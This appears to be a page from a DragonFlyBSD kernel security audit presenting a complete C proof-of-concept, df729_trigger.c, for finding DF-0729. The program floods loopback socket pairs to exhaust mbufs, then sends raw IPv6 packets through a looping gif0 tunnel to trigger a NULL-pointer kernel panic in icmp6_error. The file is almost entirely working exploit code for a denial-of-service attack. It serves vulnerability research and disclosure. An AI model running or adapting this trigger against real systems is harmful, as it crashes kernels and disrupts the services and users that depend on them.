โฌข DragonFlyBSD Kernel Audit
DF-0729 / df729_trigger.c
โ† back to finding โ†“ download raw
/*
 * DF-0729 โ€” mbuf-exhaustion + IPv6 P2P routing-loop trigger.
 *
 * Phase 1: Exhaust mbufs by flooding local socket pairs. Each datagram
 *          pinned in a receive buffer holds one mbuf.
 * Phase 2: While under pressure, send IPv6 packets to fc00:dead::1 (routed
 *          through gif0 self-tunnel). The packet arrives on gif0, routes
 *          back out gif0 โ†’ ip6_forward P2P loop detector fires โ†’
 *          icmp6_error(mcopy,...) with mcopy possibly NULL โ†’ panic.
 *
 * Build:  cc -O2 -o df729_trigger df729_trigger.c -lpthread
 * Run:    ./df729_trigger  (requires setup.sh already run as root)
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
#include <fcntl.h>

#define N_FLOODERS    64     /* flood worker threads                */
#define N_SOCKPAIRS   200    /* socket pairs per flooder            */
#define DATAGRAM_SZ   200    /* < MHLEN so no cluster, pure mbuf    */
#define TRIGGER_DST   "fc00:dead::1"
#define TRIGGER_RATE  50000  /* packets to send during trigger phase */

static volatile int g_stop = 0;
static volatile long g_flood_pkts = 0;

/* ---- Phase 1: mbuf exhaustion via UDP loopback flood ---- */
static void *
flood_worker(void *arg)
{
    int idx = (int)(long)arg;
    int socks[N_SOCKPAIRS][2];
    struct sockaddr_in6 dst6;
    char buf[DATAGRAM_SZ];
    int n_active = 0;
    int i;

    memset(buf, 'A', sizeof(buf));

    /* create socket pairs */
    for (i = 0; i < N_SOCKPAIRS; i++) {
        int s = socket(AF_INET6, SOCK_DGRAM, 0);
        if (s < 0) break;
        int rcv = 524288;
        setsockopt(s, SOL_SOCKET, SO_RCVBUF, &rcv, sizeof(rcv));
        struct sockaddr_in6 bindaddr;
        memset(&bindaddr, 0, sizeof(bindaddr));
        bindaddr.sin6_family = AF_INET6;
        bindaddr.sin6_addr = in6addr_loopback;
        bindaddr.sin6_port = 0; /* ephemeral */
        if (bind(s, (struct sockaddr *)&bindaddr, sizeof(bindaddr)) < 0) {
            close(s);
            continue;
        }
        /* get bound port */
        struct sockaddr_in6 realaddr;
        socklen_t alen = sizeof(realaddr);
        getsockname(s, (struct sockaddr *)&realaddr, &alen);
        int sender = socket(AF_INET6, SOCK_DGRAM, 0);
        if (sender < 0) { close(s); continue; }
        socks[n_active][0] = s;      /* receiver */
        socks[n_active][1] = sender;  /* sender   */
        n_active++;
        /* connect sender to receiver's port */
        memset(&dst6, 0, sizeof(dst6));
        dst6.sin6_family = AF_INET6;
        dst6.sin6_addr = in6addr_loopback;
        dst6.sin6_port = realaddr.sin6_port;
        connect(sender, (struct sockaddr *)&dst6, sizeof(dst6));
    }

    /* flood: fill receive buffers to pin mbufs */
    while (!g_stop) {
        for (i = 0; i < n_active && !g_stop; i++) {
            int n = send(socks[i][1], buf, DATAGRAM_SZ, MSG_DONTWAIT);
            if (n > 0)
                __sync_fetch_and_add(&g_flood_pkts, 1);
        }
    }

    for (i = 0; i < n_active; i++) {
        close(socks[i][0]);
        close(socks[i][1]);
    }
    return NULL;
}

/* ---- Phase 2: IPv6 trigger via raw socket ---- */
static void
send_trigger(int rawsock, const char *dst_ip)
{
    struct sockaddr_in6 dst;
    char pkt[48]; /* IPv6 header (40) + minimal ICMPv6 (8) */
    struct ip6_hdr *ip6 = (struct ip6_hdr *)pkt;

    memset(pkt, 0, sizeof(pkt));
    ip6->ip6_vfc = 0x60;
    ip6->ip6_plen = 0;        /* no payload beyond header */
    ip6->ip6_nxt = IPPROTO_ICMPV6;
    ip6->ip6_hlim = 64;

    /* src: fc00::2 (our gif tunnel net) */
    inet_pton(AF_INET6, "fc00::2", &ip6->ip6_src);
    /* dst: fc00:dead::1 (routes through gif0) */
    inet_pton(AF_INET6, dst_ip, &ip6->ip6_dst);

    memset(&dst, 0, sizeof(dst));
    dst.sin6_family = AF_INET6;
    inet_pton(AF_INET6, dst_ip, &dst.sin6_addr);

    /* send through gif0 by specifying scope or interface */
    sendto(rawsock, pkt, sizeof(pkt), 0,
           (struct sockaddr *)&dst, sizeof(dst));
}

static void
check_mbufs(void)
{
    FILE *f = popen("netstat -m 2>/dev/null", "r");
    char line[256];
    if (!f) return;
    while (fgets(line, sizeof(line), f))
        fputs(line, stdout);
    pclose(f);
}

int main(int argc, char **argv)
{
    pthread_t flooders[N_FLOODERS];
    int rawsock, i;
    int trigger_count = TRIGGER_RATE;

    signal(SIGPIPE, SIG_IGN);

    printf("[trigger] starting %d flood workers x %d socket pairs\n",
           N_FLOODERS, N_SOCKPAIRS);
    for (i = 0; i < N_FLOODERS; i++)
        pthread_create(&flooders[i], NULL, flood_worker, (void *)(long)i);

    /* let flood ramp up */
    sleep(5);
    printf("[trigger] flood pkts so far: %ld\n", g_flood_pkts);
    check_mbufs();

    printf("[trigger] opening raw IPv6 socket for trigger packets\n");
    rawsock = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
    if (rawsock < 0) {
        perror("raw socket (trying ICMPV6)");
        rawsock = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6);
        if (rawsock < 0) {
            perror("icmpv6 raw");
            /* fall back to UDP */
            rawsock = socket(AF_INET6, SOCK_DGRAM, 0);
        }
    }
    if (rawsock >= 0) {
        int hops = 64;
        setsockopt(rawsock, IPPROTO_IPV6, IPV6_UNICAST_HOPS, &hops, sizeof(hops));
    }

    printf("[trigger] sending %d IPv6 packets to %s under mbuf pressure\n",
           trigger_count, TRIGGER_DST);
    for (i = 0; i < trigger_count; i++) {
        if (rawsock >= 0)
            send_trigger(rawsock, TRIGGER_DST);
        if (i % 10000 == 0) {
            printf("[trigger] sent %d/%d\n", i, trigger_count);
        }
    }

    printf("[trigger] trigger phase done. checking mbufs:\n");
    check_mbufs();

    g_stop = 1;
    for (i = 0; i < N_FLOODERS; i++)
        pthread_join(flooders[i], NULL);

    if (rawsock >= 0)
        close(rawsock);
    printf("[trigger] complete. if we got here, no panic (or m_copym did not fail).\n");
    return 0;
}